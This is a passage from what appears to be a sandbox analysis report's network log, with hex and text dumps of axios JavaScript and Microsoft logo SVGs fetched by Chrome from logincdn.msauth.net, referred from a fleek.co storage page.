2022-05-27 06:46:23 UTC 146 IN Data Raw: 44 4f 55 54 22 2c 22 45 52 52 5f 4e 45 54 57 4f 52 4b 22 2c 22 45 52 52 5f 46 52 5f 54 4f 4f 5f 4d 41 4e 59 5f 
52 45 44 49 52 45 43 54 53 22 2c 22 45 52 52 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 45 52 52 5f 42 41 44 5f 52 45 53 
50 4f 4e 53 45 22 2c 22 45 52 52 5f 42 41 44 5f 52 45 51 55 45 53 54 22 2c 22 45 52 52 5f 43 41 4e 43 45 4c 45 44 22 5d 
2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 5b 65 5d 3d 7b 76 61 6c 75 65 3a 65 7d 7d 29 29 
2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 6f 2c 73 29 2c 4f 62 6a 65 63 74 2e 64 65 66 
69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 22 69 73 41 78 69 6f 73 45 72 72 6f 72 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 
2c 6f 2e 66 72 6f 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 
Data Ascii: DOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS","ERR_DEPRECATED","ERR_BAD_RESP
ONSE","ERR_BAD_REQUEST","ERR_CANCELED"].forEach((function(e){s[e]={value:e}})),Object.defineProperti
es(o,s),Object.defineProperty(i,"isAxiosError",{value:!0}),o.from=function(e,

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:23 UTC 147 IN Data Raw: 2e 69 73 46 69 6c 65 4c 69 73 74 28 65 29 29 7c 7c 69 26 26 22 6d 75 6c 74 69 70 61 72 74 2f 66 6f 72 6d 2d 
64 61 74 61 22 3d 3d 3d 73 29 7b 76 61 72 20 75 3d 74 68 69 73 2e 65 6e 76 26 26 74 68 69 73 2e 65 6e 76 2e 46 6f 72 
6d 44 61 74 61 3b 72 65 74 75 72 6e 20 61 28 6e 3f 7b 22 66 69 6c 65 73 5b 5d 22 3a 65 7d 3a 65 2c 75 26 26 6e 65 77 
20 75 29 7d 72 65 74 75 72 6e 20 69 7c 7c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3d 3d 3d 73 3f 28 63 28 
74 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 
28 72 2e 69 73 53 74 72 69 6e 67 28 65 29 29 74 72 79 7b 72 65 74 75 72 6e 28 74 7c 7c 4a 53 4f 4e 2e 70 61 72 73 65 2
9 28 65 29 2c 72 2e 74 72 69 6d 28 65 29 7d 63 61 74 63 68 28 65 
Data Ascii: .isFileList(e))||i&&"multipart/form-data"===s){var u=this.env&&this.env.FormData;return a(n?{"files[]":e}:e,
u&&new u)}return i||"application/json"===s?(c(t,"application/json"),function(e,t,n){if(r.isString(e))try{return(t||JSON.parse)
(e),r.trim(e)}catch(e

2022-05-27 06:46:23 UTC 149 IN Data Raw: 61 63 65 28 2f 25 32 30 2f 67 2c 22 2b 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 35 42 2f 67 69 2c 22 5b 22 29 
2e 72 65 70 6c 61 63 65 28 2f 25 35 44 2f 67 69 2c 22 5d 22 29 7d 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 
28 65 2c 74 2c 6e 29 7b 69 66 28 21 74 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 69 3b 69 66 28 6e 29 69 3d 6e 28 74 
29 3b 65 6c 73 65 20 69 66 28 72 2e 69 73 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 74 29 29 69 3d 74 2e 74 6f 
53 74 72 69 6e 67 28 29 3b 65 6c 73 65 7b 76 61 72 20 73 3d 5b 5d 3b 72 2e 66 6f 72 45 61 63 68 28 74 2c 28 66 75 6e 
63 74 69 6f 6e 28 65 2c 74 29 7b 6e 75 6c 6c 21 3d 65 26 26 28 72 2e 69 73 41 72 72 61 79 28 65 29 3f 74 2b 3d 22 5b 
5d 22 3a 65 3d 5b 65 5d 2c 72 2e 66 6f 72 45 61 63 68 28 65 2c 28 66 
Data Ascii: ace(/%20/g,"+").replace(/%5B/gi,"[").replace(/%5D/gi,"]")}e.exports=function(e,t,n){if(!t)return e;var i;if(n)i=n(t);e
lse if(r.isURLSearchParams(t))i=t.toString();else{var s=[];r.forEach(t,(function(e,t){null!=e&&(r.isArray(e)?t+="[]":e=[
e],r.forEach(e,(f

2022-05-27 06:46:23 UTC 150 IN Data Raw: 6e 28 31 29 2c 70 3d 6e 28 32 29 2c 64 3d 6e 28 32 36 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 
6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 
7b 76 61 72 20 68 2c 6d 3d 65 2e 64 61 74 61 2c 76 3d 65 2e 68 65 61 64 65 72 73 2c 79 3d 65 2e 72 65 73 70 6f 6e 73 
65 54 79 70 65 3b 66 75 6e 63 74 69 6f 6e 20 67 28 29 7b 65 2e 63 61 6e 63 65 6c 54 6f 6b 65 6e 26 26 65 2e 63 61 6e 6
3 65 6c 54 6f 6b 65 6e 2e 75 6e 73 75 62 73 63 72 69 62 65 28 68 29 2c 65 2e 73 69 67 6e 61 6c 26 26 65 2e 73 69 67 6e 
61 6c 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 61 62 6f 72 74 22 2c 68 29 7d 72 2e 69 73 46 6f 
72 6d 44 61 74 61 28 6d 29 26 26 72 2e 69 73 53 74 61 6e 64 61 72 
Data Ascii: n(1),p=n(2),d=n(26);e.exports=function(e){return new Promise((function(t,n){var h,m=e.data,v=e.headers,y=e.r
esponseType;function g(){e.cancelToken&&e.cancelToken.unsubscribe(h),e.signal&&e.signal.removeEventListener("a
bort",h)}r.isFormData(m)&&r.isStandar

2022-05-27 06:46:23 UTC 151 IN Data Raw: 72 72 6f 72 3f 6c 2e 45 54 49 4d 45 44 4f 55 54 3a 6c 2e 45 43 4f 4e 4e 41 42 4f 52 54 45 44 2c 65 2c 45 29 
29 2c 45 3d 6e 75 6c 6c 7d 2c 72 2e 69 73 53 74 61 6e 64 61 72 64 42 72 6f 77 73 65 72 45 6e 76 28 29 29 7b 76 61 72 
20 52 3d 28 65 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 7c 7c 63 28 78 29 29 26 26 65 2e 78 73 72 66 43 6f 6f 
6b 69 65 4e 61 6d 65 3f 69 2e 72 65 61 64 28 65 2e 78 73 72 66 43 6f 6f 6b 69 65 4e 61 6d 65 29 3a 76 6f 69 64 20 30 3b 
52 26 26 28 76 5b 65 2e 78 73 72 66 48 65 61 64 65 72 4e 61 6d 65 5d 3d 52 29 7d 22 73 65 74 52 65 71 75 65 73 74 48 
65 61 64 65 72 22 69 6e 20 45 26 26 72 2e 66 6f 72 45 61 63 68 28 76 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 
76 6f 69 64 20 30 3d 3d 3d 6d 26 26 22 63 6f 6e 74 65 6e 74 2d 74 79 
Data Ascii: rror?l.ETIMEDOUT:l.ECONNABORTED,e,E)),E=null},r.isStandardBrowserEnv()){var R=(e.withCredentials||
c(x))&&e.xsrfCookieName?i.read(e.xsrfCookieName):void 0;R&&(v[e.xsrfHeaderName]=R)}"setRequestHeader"in E&&r.f
orEach(v,(function(e,t){void 0===m&&"content-ty

2022-05-27 06:46:23 UTC 153 IN Data Raw: 28 29 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 72 65 74 75 72 6e 20 72 2e 69 73 55 6e 64 65 66 
69 6e 65 64 28 74 5b 6e 5d 29 3f 72 2e 69 73 55 6e 64 65 66 69 6e 65 64 28 65 5b 6e 5d 29 3f 76 6f 69 64 20 30 3a 6f 28 
76 6f 69 64 20 30 2c 65 5b 6e 5d 29 3a 6f 28 65 5b 6e 5d 2c 74 5b 6e 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 
69 66 28 21 72 2e 69 73 55 6e 64 65 66 69 6e 65 64 28 74 5b 65 5d 29 29 72 65 74 75 72 6e 20 6f 28 76 6f 69 64 20 30 
2c 74 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 72 65 74 75 72 6e 20 72 2e 69 73 55 6e 64 65 66 69 6e 
65 64 28 74 5b 6e 5d 29 3f 72 2e 69 73 55 6e 64 65 66 69 6e 65 64 28 65 5b 6e 5d 29 3f 76 6f 69 64 20 30 3a 6f 28 76 6f 
69 64 20 30 2c 65 5b 6e 5d 29 3a 6f 28 76 6f 69 64 20 30 2c 74 5b 
Data Ascii: ():t}function i(n){return r.isUndefined(t[n])?r.isUndefined(e[n])?void 0:o(void 0,e[n]):o(e[n],t[n])}function s(e){if(
!r.isUndefined(t[e]))return o(void 0,t[e])}function a(n){return r.isUndefined(t[n])?r.isUndefined(e[n])?void 0:o(void 0,
e[n]):o(void 0,t[

2022-05-27 06:46:23 UTC 154 IN Data Raw: 30 29 2c 61 2e 69 73 41 78 69 6f 73 45 72 72 6f 72 3d 6e 28 33 31 29 2c 65 2e 65 78 70 6f 72 74 73 3d 61 2c 
65 2e 65 78 70 6f 72 74 73 2e 64 65 66 61 75 6c 74 3d 61 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 
73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 30 29 2c 6f 3d 6e 28 35 29 2c 69 3d 6e 28 31 36 29 2c 73 3d 
6e 28 31 37 29 2c 61 3d 6e 28 31 31 29 2c 75 3d 6e 28 39 29 2c 63 3d 6e 28 32 38 29 2c 66 3d 63 2e 76 61 6c 69 64 61 
74 6f 72 73 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 74 68 69 73 2e 64 65 66 61 75 6c 74 73 3d 65 2c 74 68 69 73 
2e 69 6e 74 65 72 63 65 70 74 6f 72 73 3d 7b 72 65 71 75 65 73 74 3a 6e 65 77 20 69 2c 72 65 73 70 6f 6e 73 65 3a 6e 
65 77 20 69 7d 7d 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 71 75 65 73 
Data Ascii: 0),a.isAxiosError=n(31),e.exports=a,e.exports.default=a},function(e,t,n){"use strict";var r=n(0),o=n(5),i=n(
16),s=n(17),a=n(11),u=n(9),c=n(28),f=c.validators;function l(e){this.defaults=e,this.interceptors={request:new i,respons
e:new i}}l.prototype.reques

2022-05-27 06:46:23 UTC 155 IN Data Raw: 65 6c 65 74 65 22 2c 22 67 65 74 22 2c 22 68 65 61 64 22 2c 22 6f 70 74 69 6f 6e 73 22 5d 2c 28 66 75 6e 63 
74 69 6f 6e 28 65 29 7b 6c 2e 70 72 6f 74 6f 74 79 70 65 5b 65 5d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 
75 72 6e 20 74 68 69 73 2e 72 65 71 75 65 73 74 28 61 28 6e 7c 7c 7b 7d 2c 7b 6d 65 74 68 6f 64 3a 65 2c 75 72 6c 3a 
74 2c 64 61 74 61 3a 28 6e 7c 7c 7b 7d 29 2e 64 61 74 61 7d 29 29 7d 7d 29 29 2c 72 2e 66 6f 72 45 61 63 68 28 5b 22 
70 6f 73 74 22 2c 22 70 75 74 22 2c 22 70 61 74 63 68 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 6
9 6f 6e 20 74 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 74 
68 69 73 2e 72 65 71 75 65 73 74 28 61 28 6f 7c 7c 7b 7d 2c 7b 6d 
Data Ascii: elete","get","head","options"],(function(e){l.prototype[e]=function(t,n){return this.request(a(n||{},{method:e,url:t,d
ata:(n||{}).data}))}})),r.forEach(["post","put","patch"],(function(e){function t(t){return function(n,r,o){return this.request(a(o||{},
{m

2022-05-27 06:46:23 UTC 157 IN Data Raw: 65 29 2c 74 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 69 28 74 29 7c 7c 28 75 28 
65 29 2c 74 26 26 74 2e 72 65 73 70 6f 6e 73 65 26 26 28 74 2e 72 65 73 70 6f 6e 73 65 2e 64 61 74 61 3d 6f 2e 63 61 6c 
6c 28 65 2c 74 2e 72 65 73 70 6f 6e 73 65 2e 64 61 74 61 2c 74 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 2c 
65 2e 74 72 61 6e 73 66 6f 72 6d 52 65 73 70 6f 6e 73 65 29 29 29 2c 50 72 6f 6d 69 73 65 2e 72 65 6a 65 63 74 28 74 
29 7d 29 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 
20 72 3d 6e 28 30 29 2c 6f 3d 6e 28 33 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 
29 7b 76 61 72 20 69 3d 74 68 69 73 7c 7c 6f 3b 72 65 74 75 72 6e 20 
Data Ascii: e),t}),(function(t){return i(t)||(u(e),t&&t.response&&(t.response.data=o.call(e,t.response.data,t.response.h
eaders,e.transformResponse))),Promise.reject(t)}))}},function(e,t,n){"use strict";var r=n(0),o=n(3);e.exports=function(e,t,n)
{var i=this||o;return 
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2022-05-27 06:46:23 UTC 158 IN Data Raw: 74 75 72 6e 2f 5e 28 5b 61 2d 7a 5d 5b 61 2d 7a 5c 64 2b 5c 2d 2e 5d 2a 3a 29 3f 5c 2f 5c 2f 2f 69 2e 74 65 73 
74 28 65 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 65 
78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3f 65 2e 72 65 70 6c 61 63 65 28 
2f 5c 2f 2b 24 2f 2c 22 22 29 2b 22 2f 22 2b 74 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 2f 2b 2f 2c 22 22 29 3a 65 7d 7d 2c 66 
75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 30 29 2c 
6f 3d 5b 22 61 67 65 22 2c 22 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 22 2c 22 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 
22 2c 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 2c 22 65 
Data Ascii: turn/^([a-z][a-z\d+\-.]*:)?\/\//i.test(e)}},function(e,t,n){"use strict";e.exports=function(e,t){return t?e.replace(/\
/+$/,"")+"/"+t.replace(/^\/+/,""):e}},function(e,t,n){"use strict";var r=n(0),o=["age","authorization","content-length","content-t
ype","e

2022-05-27 06:46:23 UTC 159 IN Data Raw: 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 65 78 70 
6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 2f 5e 28 5b 2d 2b 5c 77 5d 7b 31 2c 32 35 7d 29 
28 3a 3f 5c 2f 5c 2f 7c 3a 29 2f 2e 65 78 65 63 28 65 29 3b 72 65 74 75 72 6e 20 74 26 26 74 5b 31 5d 7c 7c 22 22 7d 7d 
2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 75 6c 6c 7d 2c 66 75 6e 63 74 69 6f 6e 28 
65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 31 32 29 2e 76 65 72 73 69 6f 6e 
2c 6f 3d 6e 28 31 29 2c 69 3d 7b 7d 3b 5b 22 6f 62 6a 65 63 74 22 2c 22 62 6f 6f 6c 65 61 6e 22 2c 22 6e 75 6d 62 65 72 
22 2c 22 66 75 6e 63 74 69 6f 6e 22 2c 22 73 74 72 69 6e 67 22 
Data Ascii: },function(e,t,n){"use strict";e.exports=function(e){var t=/^([-+\w]{1,25})(:?\/\/|:)/.exec(e);return t&&t[1]||""}},fu
nction(e,t){e.exports=null},function(e,t,n){"use strict";var r=n(12).version,o=n(1),i={};["object","boolean","number","f
unction","string"

2022-05-27 06:46:23 UTC 161 IN Data Raw: 72 28 74 3d 30 3b 74 3c 72 3b 74 2b 2b 29 6e 2e 5f 6c 69 73 74 65 6e 65 72 73 5b 74 5d 28 65 29 3b 6e 2e 5f 
6c 69 73 74 65 6e 65 72 73 3d 6e 75 6c 6c 7d 7d 29 29 2c 74 68 69 73 2e 70 72 6f 6d 69 73 65 2e 74 68 65 6e 3d 66 75 
6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 72 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 
28 65 29 7b 6e 2e 73 75 62 73 63 72 69 62 65 28 65 29 2c 74 3d 65 7d 29 29 2e 74 68 65 6e 28 65 29 3b 72 65 74 75 72 
6e 20 72 2e 63 61 6e 63 65 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 75 6e 73 75 62 73 63 72 69 62 65 28 74 29 7d 
2c 72 7d 2c 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 72 65 61 73 6f 6e 7c 7c 28 6e 2e 72 65 61 73 6f 6e 3d 6e 
65 77 20 72 28 65 29 2c 74 28 6e 2e 72 65 61 73 6f 6e 29 29 7d 29 29 
Data Ascii: r(t=0;t<r;t++)n._listeners[t](e);n._listeners=null}})),this.promise.then=function(e){var t,r=new Promise((fu
nction(e){n.subscribe(e),t=e})).then(e);return r.cancel=function(){n.unsubscribe(t)},r},e((function(e){n.reason||(n.reas
on=new r(e),t(n.reason))}))

2022-05-27 06:46:23 UTC 162 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

6 192.168.2.3 50938 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:23 UTC 162 OUT GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1
Host: logincdn.msauth.net
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://storageapi.fleek.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-27 06:46:23 UTC 164 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 30404097
Cache-Control: public, max-age=31536000
Content-MD5: nzaLxFgP7ZB3dfMcaybWzw==
Content-Type: image/svg+xml
Date: Fri, 27 May 2022 06:46:23 GMT
Etag: 0x8D79ED29CF0C29A
Last-Modified: Wed, 22 Jan 2020 00:32:50 GMT
Server: ECAcc (frc/8E9E)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: ae00a5ef-301e-0050-690f-5d9d0f000000
x-ms-version: 2009-09-19
Content-Length: 3651
Connection: close

Copyright Joe Security LLC 2022 Page 90 of 95



2022-05-27 06:46:23 UTC 165 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

7 192.168.2.3 63018 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:23 UTC 162 OUT GET /shared/1.0/content/images/ellipsis_635a63d500a92a0b8497cdc58d0f66b1.svg HTTP/1.1
Host: logincdn.msauth.net
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://storageapi.fleek.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-27 06:46:23 UTC 171 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 19878865
Cache-Control: public, max-age=31536000
Content-MD5: GapJ5vNFgRzr6JUAPI/Pxw==
Content-Type: image/svg+xml
Date: Fri, 27 May 2022 06:46:23 GMT
Etag: 0x8D79ED29C78BE93
Last-Modified: Wed, 22 Jan 2020 00:32:50 GMT
Server: ECAcc (frc/8F13)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 10a17e53-901e-0088-4ec9-bc01ef000000
x-ms-version: 2009-09-19
Content-Length: 900
Connection: close

2022-05-27 06:46:23 UTC 172 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 
31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 3
1 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 
2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 
31 2e 31 30 37 2c 31 2e 31 30 37 2c 30 2c 30 2c 31 2d 2e 34 34 36 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.893,1.164,1.164,0
,0,1-.607.607,1.107,1.107,0,0,1-.446.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

8 192.168.2.3 53786 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:23 UTC 163 OUT GET /shared/1.0/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg HTTP/1.1
Host: logincdn.msauth.net
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://storageapi.fleek.co/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-27 06:46:23 UTC 172 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 24630700
Cache-Control: public, max-age=31536000
Content-MD5: /a3y/mpA+HRaVAiPACrsog==
Content-Type: image/svg+xml
Date: Fri, 27 May 2022 06:46:23 GMT
Etag: 0x8D79ED29CB2C46E
Last-Modified: Wed, 22 Jan 2020 00:32:50 GMT
Server: ECAcc (frc/8F20)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 57f77c94-801e-004b-4f91-91f668000000
x-ms-version: 2009-09-19
Content-Length: 915
Connection: close

2022-05-27 06:46:23 UTC 173 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 66 69 6c 6c 
3d 22 23 37 37 37 37 37 37 22 20 64 3d 22 4d 31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 
30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 
30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 
2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 31 2e 31 30 37 2c 31 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path fill="#777777" d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.89
3,1.164,1.164,0,0,1-.607.607,1.107,1.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

9 192.168.2.3 53173 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-27 06:46:23 UTC 164 OUT GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1
Host: logincdn.msauth.net
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.
107 Safari/537.36
